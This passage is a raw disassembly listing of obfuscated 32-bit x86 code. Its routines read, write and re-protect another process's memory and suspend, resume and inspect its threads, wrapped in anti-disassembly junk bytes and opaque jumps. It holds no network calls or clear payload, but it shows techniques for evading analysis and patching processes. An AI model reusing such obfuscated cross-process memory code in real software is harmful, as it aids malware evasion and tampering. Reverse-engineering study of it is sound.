db 0E9h
; ---------------------------------------------------------------------------
loc_4BD7C2: ; CODE XREF: .text:loc_4BD7A3j
jmp short loc_4BD7A5
; ---------------------------------------------------------------------------
jmp short loc_4BD7A3
; ---------------------------------------------------------------------------
loc_4BD7C6: ; CODE XREF: .text:loc_4BD7B4j
repne sbb al, 0DBh
jmp short loc_4BD7CE
; ---------------------------------------------------------------------------
loc_4BD7CB: ; CODE XREF: .text:004BD79Ej
jmp short near ptr loc_4BD79E+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BD7CE: ; CODE XREF: .text:004BD7C9j
popa
popf
bswap eax
not ecx
bswap eax
not ecx
mov ecx, [ebp-34h]
mov edx, [ecx+0Ch]
mov [ebp-34h], edx
jo short loc_4BD7EA
jl short loc_4BD7E8
loc_4BD7E5: ; CODE XREF: .text:loc_4BD7E8j
; .text:loc_4BD7EAj
jmp short loc_4BD7EC
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BD7E8: ; CODE XREF: .text:004BD7E3j
jz short loc_4BD7E5
loc_4BD7EA: ; CODE XREF: .text:004BD7E1j
jmp short loc_4BD7E5
; ---------------------------------------------------------------------------
loc_4BD7EC: ; CODE XREF: .text:loc_4BD7E5j
jmp near ptr dword_4BD6DC+5
; ---------------------------------------------------------------------------
mov eax, [ebp+8]
mov ecx, dword_4F4748
mov edx, [ecx+eax*4]
mov [ebp-30h], edx
loc_4BD800: ; CODE XREF: .text:004BD83Bj
cmp dword ptr [ebp-30h], 0
jz short loc_4BD83D
mov eax, [ebp-30h]
; ---------------------------------------------------------------------------
db 89h
; ---------------------------------------------------------------------------
loc_4BD80A: ; CODE XREF: .text:loc_4BD881j
inc ebp
int 3 ; Trap to Debugger
mov ecx, [ebp-34h]
mov edx, [ecx+0Ch]
mov [ebp-30h], edx
mov eax, [ebp-34h]
mov ecx, [eax]
mov [ebp-3Ch], ecx
mov edx, [ebp-3Ch]
push edx
call sub_4C85D6
add esp, 4
mov eax, [ebp-34h]
mov [ebp-40h], eax
mov ecx, [ebp-40h]
push ecx
call sub_4C85D6
add esp, 4
jmp short loc_4BD800
; ---------------------------------------------------------------------------
loc_4BD83D: ; CODE XREF: .text:004BD804j
mov edx, [ebp+8]
mov eax, dword_4F4748
mov dword ptr [eax+edx*4], 0
loc_4BD84C: ; CODE XREF: .text:004BD69Bj
mov ecx, [ebp+8]
mov edx, dword_4F4774
mov eax, [edx+ecx*4]
and eax, 4
test eax, eax
jnz loc_4BD91B
pusha
xor eax, eax
jnz short loc_4BD86A
jmp short loc_4BD87F
; ---------------------------------------------------------------------------
loc_4BD86A: ; CODE XREF: .text:004BD866j
jmp short loc_4BD89F
; ---------------------------------------------------------------------------
dd 7A1875C0h
db 0Ch
; ---------------------------------------------------------------------------
loc_4BD871: ; CODE XREF: .text:loc_4BD87Fj
jo short loc_4BD881
jmp short near ptr loc_4BD881+1
; ---------------------------------------------------------------------------
db 0E8h, 72h, 0Eh
dd 15FFF179h
db 0, 79h, 9
; ---------------------------------------------------------------------------
loc_4BD87F: ; CODE XREF: .text:004BD868j
jz short loc_4BD871
loc_4BD881: ; CODE XREF: .text:loc_4BD871j
; .text:004BD873j
jmp short loc_4BD80A
; ---------------------------------------------------------------------------
fstp tbyte ptr [edx-10h]
mov al, ds:0FF6A6133h
push 1000h
mov ecx, dword_4F477C
push ecx
call sub_490FB0
add esp, 0Ch
loc_4BD89F: ; CODE XREF: .text:loc_4BD86Aj
mov edx, [ebp+8]
mov ecx, dword_4F4778
mov [ecx+edx*4], eax
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BD8CE
loc_4BD8CB: ; CODE XREF: .text:004BD8ECj
jmp short near ptr loc_4BD8EE+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BD8CE: ; CODE XREF: .text:004BD8C9j
xor ebx, ebx
jz short $+2
jmp short loc_4BD8E1
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4BD8D7: ; CODE XREF: .text:004BD8E3j
mov ecx, 34F9C987h
nop
stc
jz short loc_4BD8E5
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BD8E1: ; CODE XREF: .text:004BD8D2j
xor eax, eax
jz short loc_4BD8D7
loc_4BD8E5: ; CODE XREF: .text:004BD8DEj
mov eax, 4840C987h
test eax, eax
jnz short loc_4BD8CB
loc_4BD8EE: ; CODE XREF: .text:loc_4BD8CBj
jmp near ptr 92B27654h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
mov edx, [ebp+8]
mov eax, dword_4F4774
mov ecx, [eax+edx*4]
or ecx, 4
mov edx, [ebp+8]
mov eax, dword_4F4774
mov [eax+edx*4], ecx
jo short loc_4BD919
jl short loc_4BD917
loc_4BD914: ; CODE XREF: .text:loc_4BD917j
; .text:loc_4BD919j
jmp short loc_4BD91B
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BD917: ; CODE XREF: .text:004BD912j
jz short loc_4BD914
loc_4BD919: ; CODE XREF: .text:004BD910j
jmp short loc_4BD914
; ---------------------------------------------------------------------------
loc_4BD91B: ; CODE XREF: .text:004BD85Dj
; .text:loc_4BD914j
mov ecx, [ebp+8]
mov edx, dword_4F4774
mov eax, [edx+ecx*4] ; CODE XREF: .text:004BD993j
or al, 1
mov ecx, [ebp+8]
mov edx, dword_4F4774
mov [edx+ecx*4], eax
xor eax, eax
mov al, byte_4F4780
test eax, eax
jz short loc_4BD94B
mov ecx, [ebp-18h]
and ch, 0FEh
mov [ebp-10h], ecx
jmp short loc_4BD952
; ---------------------------------------------------------------------------
loc_4BD94B: ; CODE XREF: .text:004BD93Ej
mov dword ptr [ebp-10h], 40h
loc_4BD952: ; CODE XREF: .text:loc_4BD4DEj
; .text:loc_4BD644j ...
lea edx, [ebp-8]
push edx
push 1000h
mov eax, dword_4F477C
push eax
mov ecx, [ebp-14h]
push ecx
mov edx, dword_4F4750
mov eax, [edx]
push eax
call dword_4ED114 ; WriteProcessMemory
test eax, eax
jnz short loc_4BD9C3
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4BD9AF ; CODE XREF: .text:loc_4BD9AFj
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4BD987: ; CODE XREF: .text:004BD9A8j
jmp short loc_4BD9A6
; ---------------------------------------------------------------------------
loc_4BD989: ; CODE XREF: .text:loc_4BD9A6j
xor ecx, ecx
loc_4BD98B: ; CODE XREF: .text:004BD99Aj
jz short $+2
jmp short loc_4BD99F
; ---------------------------------------------------------------------------
loc_4BD98F: ; CODE XREF: .text:004BD9A3j
stc
xor ecx, 3
jz short near ptr loc_4BD924+1
jmp short loc_4BD99C
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BD998: ; CODE XREF: .text:loc_4BD99Cj
jmp short loc_4BD9AA
; ---------------------------------------------------------------------------
jz short loc_4BD98B
loc_4BD99C: ; CODE XREF: .text:004BD995j
jnb short loc_4BD998
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4BD99F: ; CODE XREF: .text:004BD98Dj
sbb bl, bl
xor ebx, ebx
jmp short loc_4BD98F
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BD9A6: ; CODE XREF: .text:loc_4BD987j
jmp short loc_4BD989
; ---------------------------------------------------------------------------
jmp short loc_4BD987
; ---------------------------------------------------------------------------
loc_4BD9AA: ; CODE XREF: .text:loc_4BD998j
repne sbb al, 0DBh
jmp short loc_4BD9B2
; ---------------------------------------------------------------------------
loc_4BD9AF: ; CODE XREF: .text:004BD982j
jmp short near ptr loc_4BD982+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BD9B2: ; CODE XREF: .text:004BD9ADj
popa
popf
bswap eax
not ecx
bswap eax
not ecx
xor al, al
jmp loc_4BDA6A
; ---------------------------------------------------------------------------
loc_4BD9C3: ; CODE XREF: .text:004BD976j
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BD9E6
loc_4BD9E3: ; CODE XREF: .text:004BDA04j
jmp short near ptr loc_4BDA06+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BD9E6: ; CODE XREF: .text:004BD9E1j
xor ebx, ebx
jz short $+2 ; CODE XREF: .text:loc_4BDA60j
jmp short loc_4BD9F9
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4BD9EF: ; CODE XREF: .text:004BD9FBj
mov ecx, 34F9C987h
nop
stc
jz short loc_4BD9FD
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BD9F9: ; CODE XREF: .text:004BD9EAj
xor eax, eax
jz short loc_4BD9EF
loc_4BD9FD: ; CODE XREF: .text:004BD9F6j
mov eax, 4840C987h
test eax, eax
jnz short loc_4BD9E3
loc_4BDA06: ; CODE XREF: .text:loc_4BD9E3j
jmp near ptr 92B2776Ch
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
lea ecx, [ebp-18h]
push ecx
mov edx, [ebp-10h]
push edx
push 1000h
mov eax, [ebp-14h]
push eax
mov ecx, dword_4F4750
mov edx, [ecx]
push edx
call dword_4ED110 ; VirtualProtectEx
test eax, eax
jnz short loc_4BDA42
jo short loc_4BDA3C
jl short loc_4BDA3A
loc_4BDA37: ; CODE XREF: .text:loc_4BDA3Aj
; .text:loc_4BDA3Cj
jmp short loc_4BDA3E
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BDA3A: ; CODE XREF: .text:004BDA35j
jz short loc_4BDA37
loc_4BDA3C: ; CODE XREF: .text:004BDA33j
jmp short loc_4BDA37
; ---------------------------------------------------------------------------
loc_4BDA3E: ; CODE XREF: .text:loc_4BDA37j
xor al, al
jmp short loc_4BDA6A
; ---------------------------------------------------------------------------
loc_4BDA42: ; CODE XREF: .text:004BDA31j
pusha
xor eax, eax
jnz short loc_4BDA49
jmp short loc_4BDA5E
; ---------------------------------------------------------------------------
loc_4BDA49: ; CODE XREF: .text:004BDA45j
jmp short near ptr loc_4BDA7B+3
; ---------------------------------------------------------------------------
db 0C0h
dd 0C7A1875h
; ---------------------------------------------------------------------------
loc_4BDA50: ; CODE XREF: .text:loc_4BDA5Ej
jo short loc_4BDA60
jmp short near ptr loc_4BDA60+1
; ---------------------------------------------------------------------------
dd 790E72E8h, 15FFF1h
; ---------------------------------------------------------------------------
jns short loc_4BDA67
loc_4BDA5E: ; CODE XREF: .text:004BDA47j
jz short loc_4BDA50
loc_4BDA60: ; CODE XREF: .text:loc_4BDA50j
; .text:004BDA52j
jmp short near ptr loc_4BD9E8+1
; ---------------------------------------------------------------------------
dw 7ADBh
db 0F0h, 0A0h, 33h
; ---------------------------------------------------------------------------
loc_4BDA67: ; CODE XREF: .text:004BDA5Cj
popa
mov al, 1
loc_4BDA6A: ; CODE XREF: .text:004BC9AFj
; .text:004BCA71j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4BDA71 proc near ; CODE XREF: .text:004BB1C3p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 0
mov eax, [ebp+arg_0]
push eax
loc_4BDA7B: ; CODE XREF: .text:loc_4BDA49j
call sub_4BDAA4
add esp, 8
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jge short loc_4BDA91
or eax, 0FFFFFFFFh
jmp short loc_4BDAA0
; ---------------------------------------------------------------------------
loc_4BDA91: ; CODE XREF: sub_4BDA71+19j
mov ecx, [ebp+var_4]
mov edx, dword_4F45A8
mov eax, [edx+ecx*4]
mov eax, [eax+4]
loc_4BDAA0: ; CODE XREF: sub_4BDA71+1Ej
mov esp, ebp
pop ebp
retn
sub_4BDA71 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4BDAA4 proc near ; CODE XREF: sub_4BDA71:loc_4BDA7Bp
; sub_4BDB47+Cp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_8], 0
mov eax, dword_4F478C
mov [ebp+var_4], eax
loc_4BDAB9: ; CODE XREF: sub_4BDAA4:loc_4BDAF8j
mov ecx, [ebp+var_8]
cmp ecx, [ebp+var_4]
jge short loc_4BDAFA
mov eax, [ebp+var_4]
sub eax, [ebp+var_8]
cdq
sub eax, edx
sar eax, 1
mov edx, [ebp+var_8]
add edx, eax
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
mov ecx, dword_4F45A8
mov edx, [ecx+eax*4]
mov eax, [ebp+arg_0]
cmp eax, [edx]
jbe short loc_4BDAF2
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_8], ecx
jmp short loc_4BDAF8
; ---------------------------------------------------------------------------
loc_4BDAF2: ; CODE XREF: sub_4BDAA4+41j
mov edx, [ebp+var_C]
mov [ebp+var_4], edx
loc_4BDAF8: ; CODE XREF: sub_4BDAA4+4Cj
jmp short loc_4BDAB9
; ---------------------------------------------------------------------------
loc_4BDAFA: ; CODE XREF: sub_4BDAA4+1Bj
mov eax, [ebp+var_8]
cmp eax, dword_4F478C
jge short loc_4BDB2F
mov ecx, [ebp+var_8]
mov edx, dword_4F45A8
mov eax, [edx+ecx*4]
mov ecx, [ebp+arg_0]
cmp ecx, [eax]
jnz short loc_4BDB2F
mov edx, [ebp+arg_4]
and edx, 0FFh
test edx, edx
jz short loc_4BDB2A
or eax, 0FFFFFFFFh
jmp short loc_4BDB43
; ---------------------------------------------------------------------------
loc_4BDB2A: ; CODE XREF: sub_4BDAA4+7Fj
mov eax, [ebp+var_8]
jmp short loc_4BDB43
; ---------------------------------------------------------------------------
loc_4BDB2F: ; CODE XREF: sub_4BDAA4+5Fj
; sub_4BDAA4+72j
mov eax, [ebp+arg_4]
and eax, 0FFh
test eax, eax
jz short loc_4BDB40
mov eax, [ebp+var_8]
jmp short loc_4BDB43
; ---------------------------------------------------------------------------
loc_4BDB40: ; CODE XREF: sub_4BDAA4+95j
or eax, 0FFFFFFFFh
loc_4BDB43: ; CODE XREF: sub_4BDAA4+84j
; sub_4BDAA4+89j ...
mov esp, ebp
pop ebp
retn
sub_4BDAA4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4BDB47 proc near ; CODE XREF: .text:004B9BAEp
; .text:004BB6E1p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
Src = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
push 1
mov eax, [ebp+arg_0]
push eax
call sub_4BDAA4
add esp, 8
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jl loc_4BDC6B
mov ecx, dword_4F478C
cmp ecx, dword_4F4790
jnz short loc_4BDBEB
mov edx, dword_4F4790
shl edx, 1
mov dword_4F4790, edx
cmp dword_4F4790, 0
jnz short loc_4BDB97
mov dword_4F4790, 100h
loc_4BDB97: ; CODE XREF: sub_4BDB47+44j
mov eax, dword_4F45A8
mov [ebp+Src], eax
mov ecx, dword_4F4790
shl ecx, 2
push ecx
call sub_4C85E1
add esp, 4
mov [ebp+var_C], eax
mov edx, [ebp+var_C]
mov dword_4F45A8, edx
mov eax, dword_4F478C
shl eax, 2
push eax ; Size
mov ecx, [ebp+Src]
push ecx ; Src
mov edx, dword_4F45A8
push edx ; Dst
call _memcpy_1
add esp, 0Ch
mov eax, [ebp+Src]
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
push ecx
call sub_4C85D6
add esp, 4
loc_4BDBEB: ; CODE XREF: sub_4BDB47+2Dj
mov edx, dword_4F478C
sub edx, [ebp+var_4]
shl edx, 2
push edx ; Size
mov eax, [ebp+var_4]
mov ecx, dword_4F45A8
lea edx, [ecx+eax*4]
push edx ; Src
mov eax, [ebp+var_4]
mov ecx, dword_4F45A8
lea edx, [ecx+eax*4+4]
push edx ; Dst
call _memcpy_2
add esp, 0Ch
push 8
call sub_4C85E1
add esp, 4
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jz short loc_4BDC47
mov eax, [ebp+var_14]
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov edx, [ebp+var_14]
mov eax, [ebp+arg_4]
mov [edx+4], eax
mov ecx, [ebp+var_14]
mov [ebp+var_18], ecx
jmp short loc_4BDC4E
; ---------------------------------------------------------------------------
loc_4BDC47: ; CODE XREF: sub_4BDB47+E5j
mov [ebp+var_18], 0
loc_4BDC4E: ; CODE XREF: sub_4BDB47+FEj
mov edx, [ebp+var_4]
mov eax, dword_4F45A8
mov ecx, [ebp+var_18]
mov [eax+edx*4], ecx
mov edx, dword_4F478C
add edx, 1
mov dword_4F478C, edx
loc_4BDC6B: ; CODE XREF: sub_4BDB47+1Bj
mov esp, ebp
pop ebp
retn
sub_4BDB47 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 8
push 1
mov eax, [ebp+8]
push eax
call sub_4BDAA4
add esp, 8
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jl short loc_4BDCE5
mov ecx, [ebp-4]
mov edx, dword_4F45A8
mov eax, [edx+ecx*4]
mov [ebp-8], eax
mov ecx, [ebp-8]
push ecx
call sub_4C85D6
add esp, 4
mov edx, dword_4F478C
sub edx, 1
mov dword_4F478C, edx
mov eax, dword_4F478C
sub eax, [ebp-4]
shl eax, 2
push eax
mov ecx, [ebp-4]
mov edx, dword_4F45A8
lea eax, [edx+ecx*4+4]
push eax
mov ecx, [ebp-4]
mov edx, dword_4F45A8
lea eax, [edx+ecx*4]
push eax
call _memcpy_2
add esp, 0Ch
loc_4BDCE5: ; CODE XREF: .text:004BDC8Aj
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4BDCE9: ; CODE XREF: .text:004B9B3Ap
; .text:004B9B93p
push ebp
mov ebp, esp
sub esp, 2D4h
push ebx
push esi
push edi
mov ax, word_4EDD40
mov [ebp-8], ax
mov cl, byte_4EDD42
mov [ebp-6], cl
cmp dword ptr [ebp+10h], 0
jnz loc_4BDE10
jo short loc_4BDD1B
jl short loc_4BDD19
loc_4BDD16: ; CODE XREF: .text:loc_4BDD19j
; .text:loc_4BDD1Bj
jmp short loc_4BDD1D
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BDD19: ; CODE XREF: .text:004BDD14j
jz short loc_4BDD16
loc_4BDD1B: ; CODE XREF: .text:004BDD12j
jmp short loc_4BDD16
; ---------------------------------------------------------------------------
loc_4BDD1D: ; CODE XREF: .text:loc_4BDD16j
push 2CCh
push 0
lea edx, [ebp-2D4h]
push edx
call _memset_0
loc_4BDD30: ; CODE XREF: .text:loc_4BDDA7j
add esp, 0Ch
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BDD56
loc_4BDD53: ; CODE XREF: .text:004BDD74j
jmp short near ptr loc_4BDD76+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BDD56: ; CODE XREF: .text:004BDD51j
xor ebx, ebx
jz short $+2
jmp short loc_4BDD69
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4BDD5F: ; CODE XREF: .text:004BDD6Bj
mov ecx, 34F9C987h
nop
stc
jz short loc_4BDD6D
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BDD69: ; CODE XREF: .text:004BDD5Aj
xor eax, eax
jz short loc_4BDD5F
loc_4BDD6D: ; CODE XREF: .text:004BDD66j
; .text:004BDDDEj
mov eax, 4840C987h
test eax, eax
jnz short loc_4BDD53
loc_4BDD76: ; CODE XREF: .text:loc_4BDD53j
jmp near ptr 92B27ADCh
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
mov dword ptr [ebp-2D4h], 10001h
pusha
xor eax, eax
jnz short loc_4BDD90
jmp short loc_4BDDA5
; ---------------------------------------------------------------------------
loc_4BDD90: ; CODE XREF: .text:004BDD8Cj
jmp short loc_4BDDC5
; ---------------------------------------------------------------------------
dw 75C0h
; ---------------------------------------------------------------------------
sbb [edx+0Ch], bh
loc_4BDD97: ; CODE XREF: .text:loc_4BDDA5j
jo short loc_4BDDA7
jmp short near ptr loc_4BDDA7+1
; ---------------------------------------------------------------------------
db 0E8h
dd 0F1790E72h, 790015FFh
db 9
; ---------------------------------------------------------------------------
loc_4BDDA5: ; CODE XREF: .text:004BDD8Ej
jz short loc_4BDD97
loc_4BDDA7: ; CODE XREF: .text:loc_4BDD97j
; .text:004BDD99j
jmp short loc_4BDD30
; ---------------------------------------------------------------------------
db 0DBh, 7Ah, 0F0h
dd 8D6133A0h, 0FFFD2C85h, 4D8B50FFh, 4518B08h, 0E015FF52h
dd 50004ED0h
db 0F7h
; ---------------------------------------------------------------------------
loc_4BDDC5: ; CODE XREF: .text:loc_4BDD90j
ror byte ptr [edi], 1
enter 7358h, 0
pushf
pusha
jmp short loc_4BDDFA ; CODE XREF: .text:loc_4BDDFAj
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4BDDD2: ; CODE XREF: .text:004BDDF3j
jmp short loc_4BDDF1
; ---------------------------------------------------------------------------
loc_4BDDD4: ; CODE XREF: .text:loc_4BDDF1j
xor ecx, ecx
loc_4BDDD6: ; CODE XREF: .text:004BDDE5j
jz short $+2
jmp short loc_4BDDEA
; ---------------------------------------------------------------------------
loc_4BDDDA: ; CODE XREF: .text:004BDDEEj
stc
xor ecx, 3
jz short near ptr loc_4BDD6D+3
jmp short loc_4BDDE7
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BDDE3: ; CODE XREF: .text:loc_4BDDE7j
jmp short loc_4BDDF5
; ---------------------------------------------------------------------------
jz short loc_4BDDD6
loc_4BDDE7: ; CODE XREF: .text:004BDDE0j
jnb short loc_4BDDE3
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4BDDEA: ; CODE XREF: .text:004BDDD8j
sbb bl, bl
xor ebx, ebx
jmp short loc_4BDDDA
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BDDF1: ; CODE XREF: .text:loc_4BDDD2j
jmp short loc_4BDDD4
; ---------------------------------------------------------------------------
jmp short loc_4BDDD2
; ---------------------------------------------------------------------------
loc_4BDDF5: ; CODE XREF: .text:loc_4BDDE3j
repne sbb al, 0DBh
jmp short loc_4BDDFD
; ---------------------------------------------------------------------------
loc_4BDDFA: ; CODE XREF: .text:004BDDCDj
jmp short near ptr loc_4BDDCD+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BDDFD: ; CODE XREF: .text:004BDDF8j
popa
popf
bswap eax
not ecx
bswap eax
not ecx
mov eax, [ebp-21Ch]
mov [ebp+10h], eax
loc_4BDE10: ; CODE XREF: .text:004BDD0Cj
mov ecx, [ebp+0Ch]
and ecx, 0FFh
test ecx, ecx
jz loc_4BDEAF
lea edx, [ebp-4]
push edx
push 2
push offset dword_4F45AC
mov eax, [ebp+10h]
push eax
mov ecx, [ebp+8]
mov edx, [ecx]
push edx
call dword_4ED0D0 ; ReadProcessMemory
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BDE5F
loc_4BDE5C: ; CODE XREF: .text:004BDE7Dj
jmp short near ptr loc_4BDE7F+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BDE5F: ; CODE XREF: .text:004BDE5Aj
xor ebx, ebx
jz short $+2
jmp short loc_4BDE72
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4BDE68: ; CODE XREF: .text:004BDE74j
mov ecx, 34F9C987h
nop
stc
jz short loc_4BDE76
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BDE72: ; CODE XREF: .text:004BDE63j
xor eax, eax
jz short loc_4BDE68
loc_4BDE76: ; CODE XREF: .text:004BDE6Fj
; .text:004BDEE5j
mov eax, 4840C987h
test eax, eax
jnz short loc_4BDE5C
loc_4BDE7F: ; CODE XREF: .text:loc_4BDE5Cj
jmp near ptr 92B27BE5h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
lea eax, [ebp-4]
push eax
push 2
lea ecx, [ebp-8]
push ecx
mov edx, [ebp+10h]
push edx
mov eax, [ebp+8]
mov ecx, [eax]
push ecx
call dword_4ED114 ; WriteProcessMemory
jo short loc_4BDEAB
jl short loc_4BDEA9
loc_4BDEA6: ; CODE XREF: .text:loc_4BDEA9j
; .text:loc_4BDEABj
jmp short loc_4BDEAD
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BDEA9: ; CODE XREF: .text:004BDEA4j
jz short loc_4BDEA6
loc_4BDEAB: ; CODE XREF: .text:004BDEA2j
jmp short loc_4BDEA6
; ---------------------------------------------------------------------------
loc_4BDEAD: ; CODE XREF: .text:loc_4BDEA6j
jmp short loc_4BDF0E
; ---------------------------------------------------------------------------
loc_4BDEAF: ; CODE XREF: .text:004BDE1Bj
lea edx, [ebp-4]
push edx
push 2
push offset dword_4F45AC
mov eax, [ebp+10h]
push eax
mov ecx, [ebp+8]
mov edx, [ecx]
push edx
call dword_4ED114 ; WriteProcessMemory
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4BDF01 ; CODE XREF: .text:loc_4BDF01j
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4BDED9: ; CODE XREF: .text:004BDEFAj
jmp short loc_4BDEF8
; ---------------------------------------------------------------------------
loc_4BDEDB: ; CODE XREF: .text:loc_4BDEF8j
xor ecx, ecx
loc_4BDEDD: ; CODE XREF: .text:004BDEECj
jz short $+2
jmp short loc_4BDEF1
; ---------------------------------------------------------------------------
loc_4BDEE1: ; CODE XREF: .text:004BDEF5j
stc
xor ecx, 3
jz short near ptr loc_4BDE76+1
jmp short loc_4BDEEE
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BDEEA: ; CODE XREF: .text:loc_4BDEEEj
jmp short loc_4BDEFC
; ---------------------------------------------------------------------------
jz short loc_4BDEDD
loc_4BDEEE: ; CODE XREF: .text:004BDEE7j
jnb short loc_4BDEEA
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4BDEF1: ; CODE XREF: .text:004BDEDFj
sbb bl, bl
xor ebx, ebx
jmp short loc_4BDEE1
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BDEF8: ; CODE XREF: .text:loc_4BDED9j
jmp short loc_4BDEDB
; ---------------------------------------------------------------------------
jmp short loc_4BDED9
; ---------------------------------------------------------------------------
loc_4BDEFC: ; CODE XREF: .text:loc_4BDEEAj
repne sbb al, 0DBh
jmp short loc_4BDF04
; ---------------------------------------------------------------------------
loc_4BDF01: ; CODE XREF: .text:004BDED4j
jmp short near ptr loc_4BDED4+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BDF04: ; CODE XREF: .text:004BDEFFj
popa
popf
bswap eax
not ecx
bswap eax
not ecx
loc_4BDF0E: ; CODE XREF: .text:loc_4BDEADj
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4BDF17 proc near ; CODE XREF: .text:004B9B4Cp
Dst = dword ptr -2CCh
var_214 = dword ptr -214h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 2CCh
loc_4BDF20: ; CODE XREF: sub_4BDF17:loc_4BDF9Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
call sub_4B7C87
add esp, 4
and eax, 0FFh
test eax, eax
jz short loc_4BDFA0
mov edx, [ebp+arg_0]
mov eax, [edx+4]
push eax
call dword_4ED0F0 ; ResumeThread
push 64h
call dword_4ED1A4 ; Sleep
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
push edx
call dword_4ED1C8 ; SuspendThread
push 2CCh ; Size
push 0 ; Val
lea eax, [ebp+Dst]
push eax ; Dst
call _memset_0
add esp, 0Ch
mov [ebp+Dst], 10001h
lea ecx, [ebp+Dst]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
push eax
call dword_4ED0E0 ; GetThreadContext
test eax, eax
